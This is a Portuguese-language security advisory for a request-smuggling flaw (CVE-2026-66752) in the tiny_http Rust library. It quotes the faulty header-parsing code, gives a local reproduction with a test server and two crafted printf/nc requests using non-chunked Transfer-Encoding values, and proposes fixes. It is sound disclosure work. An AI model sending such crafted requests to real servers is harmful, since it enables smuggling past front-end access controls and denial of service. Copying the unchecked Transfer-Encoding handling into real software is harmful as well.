
Aviso de Segurança: Contrabando de Requisições HTTP via Valores de Transfer-Encoding Não Processados (tiny_http)
ID CVE atribuído: CVE-2026-66752
O tiny_http verifica apenas se um cabeçalho Transfer-Encoding está presente. Ele nunca
analisa o valor. Qualquer valor, incluindo codificações que não sejam chunked e
listas de codificações cujo elemento final não seja chunked, faz com que o corpo seja
decodificado por chunk, e o Content-Length é descartado ao mesmo tempo.
Um front end que interpreta a codificação de transferência corretamente enquadrará tal requisição de forma diferente do tiny_http. Dois participantes com dois enquadramentos em uma única conexão é a pré-condição para contrabando de requisições. Enviar um corpo não-chunked com uma codificação não-chunked também faz o tiny_http falhar na leitura do corpo e não responder nada.
URL do repositório: https://github.com/tiny-http/tiny-http
| Afetadas | todas as versões lançadas até e incluindo 0.12.0 (2022-10-06), o lançamento atual |
| Verificadas | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Corrigidas em | nenhuma versão corrigida no momento em que este texto foi escrito |
CWE-444 (Interpretação Inconsistente de Requisições HTTP).
Pontuação base CVSS 4.0 6.3 (Média)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N
Um cliente remoto, não autenticado, enviando HTTP bruto. Sem credenciais ou interação do usuário.
O caso de contrabando exige que o tiny_http esteja atrás de um front end ou CDN que
encaminhe Transfer-Encoding e Content-Length e aplique a seção 6.1 da RFC 9112
corretamente, ou seja, trate uma lista de codificações cujo elemento final não seja
chunked como não-chunked e recorra ao Content-Length. Esse front end e o
tiny_http então discordam sobre onde o corpo termina.
O caso de requisição sem resposta não exige nada além da capacidade de conectar.
tiny_http-0.12.0/src/request.rs, linhas 143 a 153. O cabeçalho é localizado e
clonado, mas o valor é apenas testado quanto à presença:
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
tiny_http-0.12.0/src/request.rs, linhas 218 a 221, então aplica o decodificador
de chunk incondicionalmente:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
transfer_encoding é uma Option<AsciiString> contendo o valor bruto, e
nada jamais inspeciona seu conteúdo. A seção 6.1 da RFC 9112 exige que a codificação
final de uma requisição seja chunked e exige que um servidor rejeite a mensagem
caso contrário, e a seção 6.3 exige rejeitar uma requisição que carregue tanto
Transfer-Encoding quanto Content-Length.
Passo 1. Inicie um servidor que reporte os cabeçalhos de enquadramento e o corpo que leu.
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
Passo 2. Envie uma requisição com Transfer-Encoding: identity, um Content-Length
correspondente e um corpo simples. Qualquer front end enquadraria este corpo como os
cinco bytes hello.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
Resultado. O tiny_http decodificou por chunk um corpo que não é chunked, descartou-o e não enviou resposta alguma. O cliente espera até seu próprio timeout e a conexão é consumida.
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
Passo 3. Envie uma lista de codificações cujo elemento final não seja chunked.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
Resultado. O tiny_http aceita e decodifica como chunked, onde a seção 6.1 da RFC 9112 exige rejeição:
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
Para contraste, apenas Content-Length e um Transfer-Encoding: chunked correto
ambos se comportam adequadamente e produzem body="hello".
Quando o tiny_http está atrás de um front end que interpreta codificações de transferência corretamente, os dois componentes discordam sobre onde o corpo da requisição termina. O atacante escolhe os bytes em ambos os lados dessa discordância, que é a configuração padrão para contrabandear uma requisição através do roteamento e do controle de acesso do front end.
Independentemente de qualquer front end, os passos 2 e 3 mostram uma requisição trivialmente malformada que ocupa um worker e não recebe resposta alguma, portanto o cliente não consegue saber que a requisição foi rejeitada.
Interprete Transfer-Encoding como a lista separada por vírgulas que ela é, em
src/request.rs por volta da linha 144:
Exija que a codificação final seja chunked para uma requisição que carregue um corpo, e
rejeite qualquer outra codificação com 400 em vez de decodificá-la por chunk. Rejeite uma requisição
que carregue tanto Transfer-Encoding quanto Content-Length, como a seção 6.3 da RFC 9112
exige para um servidor que não seja um proxy, em vez de ignorar silenciosamente o
Content-Length na linha 150.
Quando o leitor do corpo falhar, envie um 400 em vez de descartar a requisição sem uma resposta.